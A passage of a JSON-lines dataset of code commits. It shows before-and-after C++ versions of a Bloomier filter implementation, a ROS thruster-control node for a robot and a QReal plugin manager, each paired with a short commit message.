neighbors\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::EDGE_IMAGE_PLANE_NORMAL_DIFF:\n\t\t{\n\t\t\tpcl::PointCloud<PointT> temp_points;\n\t\t\tfilter_3d::edge_image_plane<PointT,uchar>(camera_model, in_points, temp_points, rows, cols);\n\t\t\tfilter_3d::normal_diff_filter<PointT>(temp_points, out_points, 0.001,0.1);\n\t\t}\n\t\tbreak;\n\t\tcase pcl_filter::DEPTH_EDGE_PROJECTION_AGGREGATED:\n\t\t{\n\t\t\tfilter_3d::filter_depth_projection<PointT>(camera_model, in_points, out_points, rows, cols, 2, 1.5); \/\/ neighbors); \/\/ max distance\n\t\t}\n\t\tbreak;\n\t\tdefault:\n\t\t\tbreak;\n\t}\n}\n\n\n\n}\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"bloomierFilter.h\"\n\nBloomierFilter::BloomierFilter(size_t pM, size_t pK, size_t pQ){\n\t\/\/ mHashSeed = pHashSeed;\n\tmM = pM;;\n\tmK = pK;\n\tmQ = pQ;\n\t\/\/ mKeyDict = pKeyDict;\n\tmBitVectorSize = ceil(pQ \/ static_cast<float>(CHAR_BIT));\n\tmBloomierHash = new BloomierHash(pM, pK, mBitVectorSize);\n\tmOrderAndMatchFinder = new OrderAndMatchFinder(pM, pK, pQ, mBloomierHash);\n\t\/\/ vsize_t orderAndMatch = mOrderAndMatchFinder.find(); \/\/ datatype?\n\t\/\/ mByteSize = this->getByteSize(pQ);\n\tmTable = new bloomierTable(pM);\n\tmValueTable = new vvsize_t_p(pM);\n\tfor (size_t i = 0; i < pM; ++i) {\n\t\t(*mTable)[i] = new bitVector(mBitVectorSize, 0);\n\t\t(*mValueTable)[i] = new vsize_t();\n\t}\n \/\/ mValueTable = new vvsize_t_p(pM);\n\t\n mEncoder = new Encoder(mBitVectorSize);\n\tmPiIndex = 0;\n \/\/ this->create(pKeyDict, orderAndMatch);\n}\n\nBloomierFilter::~BloomierFilter(){\n\n}\nvoid BloomierFilter::check() {\n\tstd::cout << __LINE__ << std::endl;\n\tsize_t sumTable = 0;\n\tfor(size_t i = 0; i < mTable->size(); ++i) {\n\t\tsumTable += (*mTable)[i]->size();\n\t}\n\tstd::cout << __LINE__ << std::endl;\n\tsize_t sumValueTable = 0;\n\tfor(size_t i = 0; i < mValueTable->size(); ++i) {\n\t\tsumValueTable += (*mValueTable)[i]->size();\n\t}\n\tstd::cout << \"sumTable: \" << sumTable << std::endl;\n\tstd::cout << \"sumValueTable: \" << sumValueTable << std::endl;\n\t\n\tstd::cout << __LINE__ << std::endl;\n\t\n}\nbloomierTable* BloomierFilter::getTable() {\n\treturn mTable;\n}\n\nvoid BloomierFilter::setTable(bloomierTable* pTable) {\n\tmTable = pTable;\n}\n\nvvsize_t_p* BloomierFilter::getValueTable() {\n\treturn mValueTable;\n}\nvoid BloomierFilter::setValueTable(vvsize_t_p* pTable) {\n\tmValueTable = pTable;\n} \n\nvoid BloomierFilter::xorOperation(bitVector* pValue, bitVector* pMask, vsize_t* pNeighbors) {\n\t\/\/ std::cout << \"41\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\n\tthis->xorBitVector(pValue, pMask);\n\t\/\/ std::cout << \"44\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\tfor (auto it = pNeighbors->begin(); it != pNeighbors->end(); ++it) {\n\t\/\/ std::cout << \"47\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\tif (*it < pNeighbors->size()) {\n\t\t\tthis->xorBitVector(pValue, (*mTable)[(*it)]);\n\t\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\n\t\/\/ std::cout << \"50\" << std::endl;\n\n\t}\n\t\/\/ return pValue;\n}\nvsize_t* BloomierFilter::get(size_t pKey) {\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tcheck();\n\tstd::cout << __LINE__ << std::endl;\n\n\tvsize_t* neighbors = mBloomierHash->getKNeighbors(pKey, mK, mM);\n\tstd::cout << __LINE__ << \":)\" << std::endl;\n\t\n\tbitVector* mask = mBloomierHash->getMask(pKey);\n\tstd::cout << __LINE__ << \":(\" << std::endl;\n\t\n\n\tbitVector* valueToGet = new bitVector(mBitVectorSize, 0);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tthis->xorOperation(valueToGet, mask, neighbors);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\n\tsize_t h = mEncoder->decode(valueToGet);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tif (h < neighbors->size()) {\n\tstd::cout << __LINE__ << std::endl;\n\t\t\n\t\tsize_t L = (*neighbors)[h];\n\tstd::cout << __LINE__ << std::endl;\n\t\t\n\t\tif (L < mValueTable->size()) {\n\tstd::cout << __LINE__ << std::endl;\n\t\t\t\n\t\t\treturn (*mValueTable)[L];\n\t\t}\n\t}\n\tstd::cout << __LINE__ << std::endl;\n\n\tcheck();\n\tstd::cout << __LINE__ << std::endl;\n\n\treturn new vsize_t();\n}\nbool BloomierFilter::set(size_t pKey, size_t pValue) {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\n\tvsize_t* neighbors = mBloomierHash->getKNeighbors(pKey, mK, mM);\n\tbitVector* mask = mBloomierHash->getMask(pKey);\n\tbitVector* valueToGet = new bitVector(mBitVectorSize, 0);\n\tthis->xorOperation(valueToGet, mask, neighbors);\n\tsize_t h = mEncoder->decode(valueToGet);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\tif (h < neighbors->size()) {\n\t\tsize_t L = (*neighbors)[h];\n\t\tif (L < mValueTable->size()) {\n\t\t\t\tvsize_t* v = ((*mValueTable)[L]);\n\t\t\t\/\/ if (v == NULL) {\n\t\t\t\/\/ \tv = new vsize_t();\n\t\t\t\/\/ }\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\tv->push_back(pValue);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\t\/\/ (*mValueTable)[L] = v;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t} else {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\tvsize_t* keys = new vsize_t (1, pKey);\n\t\tvvsize_t_p* values = new vvsize_t_p (1);\n\t\t(*values)[0] = new vsize_t(1, pValue);\n\t\tthis->create(keys, values, mPiIndex);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\treturn true;\n\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\treturn false;\n}\n\nvoid BloomierFilter::create(vsize_t* pKeys, vvsize_t_p* pValues, size_t piIndex) {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\/\/ std::cout << \"size if pKeys: \" << pKeys->size() << std::endl;\n\t\n\t\/\/ std::cout << std::endl;\n\tmOrderAndMatchFinder->find(pKeys);\n\t\/\/ std::cout << \"120\" << std::endl;\n\t\n vsize_t* piVector = mOrderAndMatchFinder->getPiVector();\n\t\/\/ std::cout << \"123\" << std::endl;\n\t\n\tvsize_t* tauVector = mOrderAndMatchFinder->getTauVector();\n\t\/\/ std::cout << \"piVector\" << std::endl;\n\t\/\/ for (size_t i = 0; i < piVector->size(); ++i) {\n\t\t\/\/ std::cout << \"\\t\" << (*piVector)[i] << std::endl;\n\t\/\/ }\n\tfor (size_t i = piIndex; i < piVector->size(); ++i) {\n\t\t\/\/ size_t key = (*piList)[i];\n\t\t\/\/ size_t value = pAssignment[key];\n\t\tvsize_t* neighbors = mBloomierHash->getKNeighbors((*pKeys)[i], mK, mM);\n\t\tbitVector* mask = mBloomierHash->getMask((*pKeys)[i]);\n\t\tsize_t l = (*tauVector)[i];\n\t\tsize_t L = (*neighbors)[l];\n\n\t\tbitVector* encodeValue = mEncoder->encode(l);\n\t\tbitVector* valueToStore = new bitVector(mBitVectorSize, 0);\n\t\tthis->xorBitVector(valueToStore, encodeValue);\n\t\tthis->xorBitVector(valueToStore, mask);\n\t\tfor (size_t j = 0; j < neighbors->size(); ++j) {\n\t\t\tif (j != l) {\n\t\t\t\tthis->xorBitVector(valueToStore, (*mTable)[(*neighbors)[i]]);\n\t\t\t}\n\t\t}\n\t\t(*mTable)[L] = valueToStore;\n\t\t\/\/ std::cout << \"size of piVector: \" << piVector->size() << std::endl;\n\t\t\/\/ std::cout << \"i: \" << i << std::endl;\n\t\t\/\/ std::cout << \"size of pvalues: \" << pValues->size() << std::endl;\n\t\t(*mValueTable)[L] = (*pValues)[i-piIndex];\n\t}\n\tmPiIndex = mPiIndex + pKeys->size();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n}\n\nvoid BloomierFilter::xorBitVector(bitVector* pResult, bitVector* pInput) {\n\tsize_t length = std::min(pResult->size(), pInput->size());\n\tfor (size_t i = 0; i < length; ++i) {\n\t\t(*pResult)[i] = (*pResult)[i] ^ (*pInput)[i];\n\t}\n}<commit_msg>bug fix<commit_after>#include \"bloomierFilter.h\"\n\nBloomierFilter::BloomierFilter(size_t pM, size_t pK, size_t pQ){\n\t\/\/ mHashSeed = pHashSeed;\n\tmM = pM;;\n\tmK = pK;\n\tmQ = pQ;\n\t\/\/ mKeyDict = pKeyDict;\n\tmBitVectorSize = ceil(pQ \/ static_cast<float>(CHAR_BIT));\n\tmBloomierHash = new BloomierHash(pM, pK, mBitVectorSize);\n\tmOrderAndMatchFinder = new OrderAndMatchFinder(pM, pK, pQ, mBloomierHash);\n\t\/\/ vsize_t orderAndMatch = mOrderAndMatchFinder.find(); \/\/ datatype?\n\t\/\/ mByteSize = this->getByteSize(pQ);\n\tmTable = new bloomierTable(pM);\n\tmValueTable = new vvsize_t_p(pM);\n\tfor (size_t i = 0; i < pM; ++i) {\n\t\t(*mTable)[i] = new bitVector(mBitVectorSize, 0);\n\t\t(*mValueTable)[i] = new vsize_t();\n\t}\n \/\/ mValueTable = new vvsize_t_p(pM);\n\t\n mEncoder = new Encoder(mBitVectorSize);\n\tmPiIndex = 0;\n \/\/ this->create(pKeyDict, orderAndMatch);\n}\n\nBloomierFilter::~BloomierFilter(){\n\n}\nvoid BloomierFilter::check() {\n\tstd::cout << __LINE__ << std::endl;\n\tsize_t sumTable = 0;\n\tfor(size_t i = 0; i < mTable->size(); ++i) {\n\t\tsumTable += (*mTable)[i]->size();\n\t}\n\tstd::cout << __LINE__ << std::endl;\n\tsize_t sumValueTable = 0;\n\tfor(size_t i = 0; i < mValueTable->size(); ++i) {\n\t\tsumValueTable += (*mValueTable)[i]->size();\n\t}\n\tstd::cout << \"sumTable: \" << sumTable << std::endl;\n\tstd::cout << \"sumValueTable: \" << sumValueTable << std::endl;\n\t\n\tstd::cout << __LINE__ << std::endl;\n\t\n}\nbloomierTable* BloomierFilter::getTable() {\n\treturn mTable;\n}\n\nvoid BloomierFilter::setTable(bloomierTable* pTable) {\n\tmTable = pTable;\n}\n\nvvsize_t_p* BloomierFilter::getValueTable() {\n\treturn mValueTable;\n}\nvoid BloomierFilter::setValueTable(vvsize_t_p* pTable) {\n\tmValueTable = pTable;\n} \n\nvoid BloomierFilter::xorOperation(bitVector* pValue, bitVector* pMask, vsize_t* pNeighbors) {\n\t\/\/ std::cout << \"41\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\n\tthis->xorBitVector(pValue, pMask);\n\t\/\/ std::cout << \"44\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\tfor (auto it = pNeighbors->begin(); it != pNeighbors->end(); ++it) {\n\t\/\/ std::cout << \"47\" << std::endl;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\tif (*it < pNeighbors->size()) {\n\t\t\tthis->xorBitVector(pValue, (*mTable)[(*it)]);\n\t\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\n\t\/\/ std::cout << \"50\" << std::endl;\n\n\t}\n\t\/\/ return pValue;\n}\nvsize_t* BloomierFilter::get(size_t pKey) {\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tcheck();\n\tstd::cout << __LINE__ << std::endl;\n\n\tvsize_t* neighbors = mBloomierHash->getKNeighbors(pKey, mK, mM);\n\tstd::cout << __LINE__ << \":)\" << std::endl;\n\t\n\tbitVector* mask = mBloomierHash->getMask(pKey);\n\tstd::cout << __LINE__ << \":(\" << std::endl;\n\t\n\n\tbitVector* valueToGet = new bitVector(mBitVectorSize, 0);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tthis->xorOperation(valueToGet, mask, neighbors);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\n\tsize_t h = mEncoder->decode(valueToGet);\n\tstd::cout << __LINE__ << std::endl;\n\t\n\tif (h < neighbors->size()) {\n\tstd::cout << __LINE__ << std::endl;\n\t\t\n\t\tsize_t L = (*neighbors)[h];\n\tstd::cout << __LINE__ << std::endl;\n\t\t\n\t\tif (L < mValueTable->size()) {\n\tstd::cout << __LINE__ << std::endl;\n\t\t\t\n\t\t\treturn (*mValueTable)[L];\n\t\t}\n\t}\n\tstd::cout << __LINE__ << std::endl;\n\n\tcheck();\n\tstd::cout << __LINE__ << std::endl;\n\n\treturn new vsize_t();\n}\nbool BloomierFilter::set(size_t pKey, size_t pValue) {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\n\tvsize_t* neighbors = mBloomierHash->getKNeighbors(pKey, mK, mM);\n\tbitVector* mask = mBloomierHash->getMask(pKey);\n\tbitVector* valueToGet = new bitVector(mBitVectorSize, 0);\n\tthis->xorOperation(valueToGet, mask, neighbors);\n\tsize_t h = mEncoder->decode(valueToGet);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\tif (h < neighbors->size()) {\n\t\tsize_t L = (*neighbors)[h];\n\t\tif (L < mValueTable->size()) {\n\t\t\t\tvsize_t* v = ((*mValueTable)[L]);\n\t\t\t\/\/ if (v == NULL) {\n\t\t\t\/\/ \tv = new vsize_t();\n\t\t\t\/\/ }\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\tv->push_back(pValue);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\t\/\/ (*mValueTable)[L] = v;\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\t\treturn true;\n\t\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t} else {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\tvsize_t* keys = new vsize_t (1, pKey);\n\t\tvvsize_t_p* values = new vvsize_t_p (1);\n\t\t(*values)[0] = new vsize_t(1, pValue);\n\t\tthis->create(keys, values, mPiIndex);\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\treturn true;\n\t}\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\treturn false;\n}\n\nvoid BloomierFilter::create(vsize_t* pKeys, vvsize_t_p* pValues, size_t piIndex) {\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\t\/\/ std::cout << \"size if pKeys: \" << pKeys->size() << std::endl;\n\t\n\t\/\/ std::cout << std::endl;\n\tmOrderAndMatchFinder->find(pKeys);\n\t\/\/ std::cout << \"120\" << std::endl;\n\t\n vsize_t* piVector = mOrderAndMatchFinder->getPiVector();\n\t\/\/ std::cout << \"123\" << std::endl;\n\t\n\tvsize_t* tauVector = mOrderAndMatchFinder->getTauVector();\n\t\/\/ std::cout << \"piVector\" << std::endl;\n\t\/\/ for (size_t i = 0; i < piVector->size(); ++i) {\n\t\t\/\/ std::cout << \"\\t\" << (*piVector)[i] << std::endl;\n\t\/\/ }\n\tfor (size_t i = piIndex; i < piVector->size(); ++i) {\n\t\t\/\/ size_t key = (*piList)[i];\n\t\t\/\/ size_t value = pAssignment[key];\n\t\tvsize_t* neighbors = mBloomierHash->getKNeighbors((*pKeys)[i], mK, mM);\n\t\tbitVector* mask = mBloomierHash->getMask((*pKeys)[i]);\n\t\tsize_t l = (*tauVector)[i];\n\t\tsize_t L = (*neighbors)[l];\n\n\t\tbitVector* encodeValue = mEncoder->encode(l);\n\t\t\/\/ bitVector* valueToStore = new bitVector(mBitVectorSize, 0);\n\t\tthis->xorBitVector((*mTable)[L], encodeValue);\n\t\tthis->xorBitVector((*mTable)[L], mask);\n\t\tfor (size_t j = 0; j < neighbors->size(); ++j) {\n\t\t\tif (j != l) {\n\t\t\t\tthis->xorBitVector((*mTable)[L], (*mTable)[(*neighbors)[j]]);\n\t\t\t}\n\t\t}\n\t\t\/\/ (*mTable)[L] = valueToStore;\n\t\t\/\/ std::cout << \"size of piVector: \" << piVector->size() << std::endl;\n\t\t\/\/ std::cout << \"i: \" << i << std::endl;\n\t\t\/\/ std::cout << \"size of pvalues: \" << pValues->size() << std::endl;\n\t\t(*mValueTable)[L] = (*pValues)[i-piIndex];\n\t}\n\tmPiIndex = mPiIndex + pKeys->size();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n\t\/\/ check();\n\t\/\/ std::cout << __LINE__ << std::endl;\n\n}\n\nvoid BloomierFilter::xorBitVector(bitVector* pResult, bitVector* pInput) {\n\tsize_t length = std::min(pResult->size(), pInput->size());\n\tfor (size_t i = 0; i < length; ++i) {\n\t\t(*pResult)[i] = (*pResult)[i] ^ (*pInput)[i];\n\t}\n}<|endoftext|>"} {"text":"<commit_before>#include \"thruster_tortuga.h\"\n\nThrusterTortugaNode::ThrusterTortugaNode(int argc, char **argv, int rate): TortugaNode(){\n ros::Rate loop_rate(rate);\n subscriber = n.subscribe(\"\/qubo\/thruster_input\", 1000, &ThrusterTortugaNode::thrusterCallBack, this);\n \n\n ROS_DEBUG(\"Opening sensorboard\");\n sensor_file = \"\/dev\/sensor\";\n fd = openSensorBoard(sensor_file.c_str());\n ROS_DEBUG(\"Opened sensorboard with fd %d.\", fd);\n checkError(syncBoard(fd));\n ROS_DEBUG(\"Synced with the Board\");\n\n \/\/GH: This is not the correct use of checkError.\n \/\/It should be called on the return value of a function call, not on the file descriptor.\n \/\/checkError(fd);\n\n \/\/ Unsafe all the thrusters\n ROS_DEBUG(\"Unsafing all thrusters\");\n for (int i = 6; i <= 11; i++) {\n checkError(setThrusterSafety(fd, i));\n }\n ROS_DEBUG(\"Unsafed all thrusters\");\n \n}\n\nThrusterTortugaNode::~ThrusterTortugaNode(){\n \/\/Stop all the thrusters\n ROS_DEBUG(\"Stopping thrusters\");\n readSpeedResponses(fd);\n setSpeeds(fd, 0, 0, 0, 0, 0, 0);\n ROS_DEBUG(\"Safing thrusters\");\n \/\/ Safe all the thrusters\n for (int i = 0; i <= 5; i++) {\n checkError(setThrusterSafety(fd, i));\n }\n ROS_DEBUG(\"Safed thrusters\");\n \/\/Close the sensorboard\n close(fd);\n}\n\nvoid ThrusterTortugaNode::update(){\n \/\/I think we need to initialize thrusters and stuff before this will work \n ros::spinOnce();\n \/\/ setSpeeds(fd, msg.data[0], msg.data[1], msg.data[2], msg.data[3], msg.data[4], msg.data[5]);\n \/\/ ROS_DEBUG(\"fd = %x\",fd); \n \n ROS_DEBUG(\"Setting thruster speeds\");\n int retR = readSpeedResponses(fd);\n ROS_DEBUG(\"Read speed before: %x\", retR);\n int retS = setSpeeds(fd, 128, 128, 128, 128, 128, 128);\n ROS_DEBUG(\"Set speed status: %x\", retS);\n usleep(20*1000);\n int retA = readSpeedResponses(fd);\n ROS_DEBUG(\"Read speed after: %x\", retA);\n \n ROS_DEBUG(\"thruster state = %x\", readThrusterState(fd)); \n ROS_DEBUG(\"set speed returns %x\", retS);\n ROS_DEBUG(\"read speed returns %x\", retR);\n}\n\nvoid ThrusterTortugaNode::publish(){\n \/\/ setSpeeds(fd, msg.data[0], msg.data[1], msg.data[2], msg.data[3], msg.data[4], msg.data[5]);\n}\n\nvoid ThrusterTortugaNode::thrusterCallBack(const std_msgs::Int64MultiArray new_powers){\n \/\/SG: TODO change this shit\n for(int i = 0 ;i < NUM_THRUSTERS; i++){\n thruster_powers.data[i] = new_powers.data[i];\n }\n}\n\n\/\/ssh robot@192.168.10.12\n<commit_msg>intialized power values<commit_after>#include \"thruster_tortuga.h\"\n\nThrusterTortugaNode::ThrusterTortugaNode(int argc, char **argv, int rate): TortugaNode(){\n ros::Rate loop_rate(rate);\n subscriber = n.subscribe(\"\/qubo\/thruster_input\", 1000, &ThrusterTortugaNode::thrusterCallBack, this);\n \n\n ROS_DEBUG(\"Opening sensorboard\");\n sensor_file = \"\/dev\/sensor\";\n fd = openSensorBoard(sensor_file.c_str());\n ROS_DEBUG(\"Opened sensorboard with fd %d.\", fd);\n checkError(syncBoard(fd));\n ROS_DEBUG(\"Synced with the Board\");\n\n \/\/GH: This is not the correct use of checkError.\n \/\/It should be called on the return value of a function call, not on the file descriptor.\n \/\/checkError(fd);\n\n \/\/ Unsafe all the thrusters\n ROS_DEBUG(\"Unsafing all thrusters\");\n for (int i = 6; i <= 11; i++) {\n checkError(setThrusterSafety(fd, i));\n }\n ROS_DEBUG(\"Unsafed all thrusters\");\n \n for(int i = 0 ;i < NUM_THRUSTERS; i++){\n thruster_powers.data[i] = 0;\n }\n}\n\n}\n\nThrusterTortugaNode::~ThrusterTortugaNode(){\n \/\/Stop all the thrusters\n ROS_DEBUG(\"Stopping thrusters\");\n readSpeedResponses(fd);\n setSpeeds(fd, 0, 0, 0, 0, 0, 0);\n ROS_DEBUG(\"Safing thrusters\");\n \/\/ Safe all the thrusters\n for (int i = 0; i <= 5; i++) {\n checkError(setThrusterSafety(fd, i));\n }\n ROS_DEBUG(\"Safed thrusters\");\n \/\/Close the sensorboard\n close(fd);\n}\n\nvoid ThrusterTortugaNode::update(){\n \/\/I think we need to initialize thrusters and stuff before this will work \n ros::spinOnce();\n \/\/ setSpeeds(fd, msg.data[0], msg.data[1], msg.data[2], msg.data[3], msg.data[4], msg.data[5]);\n \/\/ ROS_DEBUG(\"fd = %x\",fd); \n \n ROS_DEBUG(\"Setting thruster speeds\");\n int retR = readSpeedResponses(fd);\n ROS_DEBUG(\"Read speed before: %x\", retR);\n int retS = setSpeeds(fd, 128, 128, 128, 128, 128, 128);\n ROS_DEBUG(\"Set speed status: %x\", retS);\n usleep(20*1000);\n int retA = readSpeedResponses(fd);\n ROS_DEBUG(\"Read speed after: %x\", retA);\n \n ROS_DEBUG(\"thruster state = %x\", readThrusterState(fd)); \n ROS_DEBUG(\"set speed returns %x\", retS);\n ROS_DEBUG(\"read speed returns %x\", retR);\n}\n\nvoid ThrusterTortugaNode::publish(){\n \/\/ setSpeeds(fd, msg.data[0], msg.data[1], msg.data[2], msg.data[3], msg.data[4], msg.data[5]);\n}\n\nvoid ThrusterTortugaNode::thrusterCallBack(const std_msgs::Int64MultiArray new_powers){\n \/\/SG: TODO change this shit\n for(int i = 0 ;i < NUM_THRUSTERS; i++){\n thruster_powers.data[i] = new_powers.data[i];\n }\n}\n\n\/\/ssh robot@192.168.10.12\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2007-2015 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pluginManagerImplementation.h\"\n\n#include <QtCore\/QCoreApplication>\n\n#include <qrkernel\/logging.h>\n\nusing namespace qReal::details;\n\nPluginManagerImplementation::PluginManagerImplementation(const QString &applicationDirPath\n\t\t, const QString &additionalPart)\n\t: mPluginsDir(QDir(applicationDirPath))\n\t, mApplicationDirectoryPath(applicationDirPath)\n\t, mAdditionalPart(additionalPart)\n{\n}\n\nPluginManagerImplementation::~PluginManagerImplementation()\n{\n}\n\nQList<QObject *> PluginManagerImplementation::loadAllPlugins()\n{\n\twhile (!mPluginsDir.isRoot() && !mPluginsDir.entryList(QDir::Dirs).contains(\"plugins\")) {\n\t\tmPluginsDir.cdUp();\n\t}\n\n\tQList<QString> splittedDir = mAdditionalPart.split('\/');\n\tfor (const QString &partOfDirectory : splittedDir) {\n\t\tmPluginsDir.cd(partOfDirectory);\n\t}\n\n\tQList<QObject *> listOfPlugins;\n\n\tfor (const QString &fileName : mPluginsDir.entryList(QDir::Files)) {\n\t\tQPair<QObject *, QString> const pluginAndError = pluginLoadedByName(fileName);\n\t\tQObject * const pluginByName = pluginAndError.first;\n\t\tif (pluginByName) {\n\t\t\tlistOfPlugins.append(pluginByName);\n\t\t\tmFileNameAndPlugin.insert(fileName, pluginByName);\n\t\t} else {\n\t\t\tQLOG_ERROR() << \"Plugin loading failed:\" << pluginAndError.second;\n\t\t\tqDebug() << \"Plugin loading failed:\" << pluginAndError.second;\n\t\t}\n\t}\n\n\treturn listOfPlugins;\n}\n\nQPair<QObject *, QString> PluginManagerImplementation::pluginLoadedByName(const QString &pluginName)\n{\n\tQPluginLoader *loader = new QPluginLoader(mPluginsDir.absoluteFilePath(pluginName), qApp);\n\tloader->load();\n\tQObject *plugin = loader->instance();\n\tQPair<QString, QPluginLoader*> pairOfLoader = qMakePair(pluginName, loader);\n\tmLoaders.append(pairOfLoader);\n\n\tif (plugin) {\n\t\tmFileNameAndPlugin.insert(loader->metaData()[\"IID\"].toString(), plugin);\n\t\treturn qMakePair(plugin, QString());\n\t}\n\n\tconst QString loaderError = loader->errorString();\n\n\t\/\/ Unloading of plugins is currently (Qt 5.3) broken due to a bug in metatype system: calling Q_DECLARE_METATYPE\n\t\/\/ from plugin registers some data from plugin address space in Qt metatype system, which is not being updated\n\t\/\/ when plugin is unloaded and loaded again. Any subsequent calls to QVariant or other template classes\/methods\n\t\/\/ which use metainformation will result in a crash. It is likely (but not verified) that qRegisterMetaType leads\n\t\/\/ to the same issue. Since we can not guarantee that plugin does not use Q_DECLARE_METATYPE or qRegisterMetaType\n\t\/\/ we shall not unload plugin at all, to be safe rather than sorry.\n\t\/\/\n\t\/\/ But it seems also that metainformation gets deleted BEFORE plugins are unloaded on application exit, so we can\n\t\/\/ not call any metainformation-using code in destructors that get called on unloading. Since Qt classes themselves\n\t\/\/ are using such calls (QGraphicsViewScene, for example), random crashes on exit may be a symptom of this problem.\n\t\/\/\n\t\/\/ EditorManager is an exception, because it really needs to unload editor plugins, to be able to load new versions\n\t\/\/ compiled by metaeditor. Editor plugins are generated, so we can guarantee to some extent that there will be no\n\t\/\/ metatype registrations.\n\t\/\/\n\t\/\/ See:\n\t\/\/ http:\/\/stackoverflow.com\/questions\/19234703\/using-q-declare-metatype-with-a-dll-that-may-be-loaded-multiple-times\n\t\/\/ (and http:\/\/qt-project.org\/forums\/viewthread\/35587)\n\t\/\/ https:\/\/bugreports.qt-project.org\/browse\/QTBUG-32442\n\n\tdelete loader;\n\treturn qMakePair(nullptr, loaderError);\n}\n\nQString PluginManagerImplementation::unloadPlugin(const QString &pluginName)\n{\n\tint count = 0;\n\tbool stateUnload = true;\n\n\tfor (const QPair<QString, QPluginLoader *> ¤tPair : mLoaders) {\n\t\tif (currentPair.first == pluginName) {\n\t\t\tstateUnload = currentPair.second->unload();\n\t\t}\n\n\t\t++count;\n\t}\n\n\tfor (int j = 0; j < count; ++j) {\n\t\tmLoaders.removeFirst();\n\t}\n\n\tif (stateUnload) {\n\t\treturn QString();\n\t}\n\n\treturn QString(\"Plugin was not found\");\n}\n\nQList<QString> PluginManagerImplementation::namesOfPlugins() const\n{\n\tQList<QString> listOfNames;\n\tfor (const QPair<QString, QPluginLoader *> ¤tPair : mLoaders) {\n\t\tlistOfNames.append(currentPair.first);\n\t}\n\treturn listOfNames;\n}\n\nQString PluginManagerImplementation::fileName(QObject *plugin) const\n{\n\treturn mFileNameAndPlugin.key(plugin);\n}\n\nQObject *PluginManagerImplementation::pluginByName(const QString &pluginName) const\n{\n\treturn mFileNameAndPlugin[pluginName];\n}\n<commit_msg>small corrections<commit_after>\/* Copyright 2007-2015 QReal Research Group\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License. *\/\n\n#include \"pluginManagerImplementation.h\"\n\n#include <QtCore\/QCoreApplication>\n\n#include <qrkernel\/logging.h>\n\nusing namespace qReal::details;\n\nPluginManagerImplementation::PluginManagerImplementation(const QString &applicationDirPath\n\t\t, const QString &additionalPart)\n\t: mPluginsDir(QDir(applicationDirPath))\n\t, mApplicationDirectoryPath(applicationDirPath)\n\t, mAdditionalPart(additionalPart)\n{\n}\n\nPluginManagerImplementation::~PluginManagerImplementation()\n{\n\tconst int count = mLoaders.length();\n\tfor (int i = 0; i < count; ++i) {\n\t\tmLoaders.removeFirst();\n\t}\n}\n\nQList<QObject *> 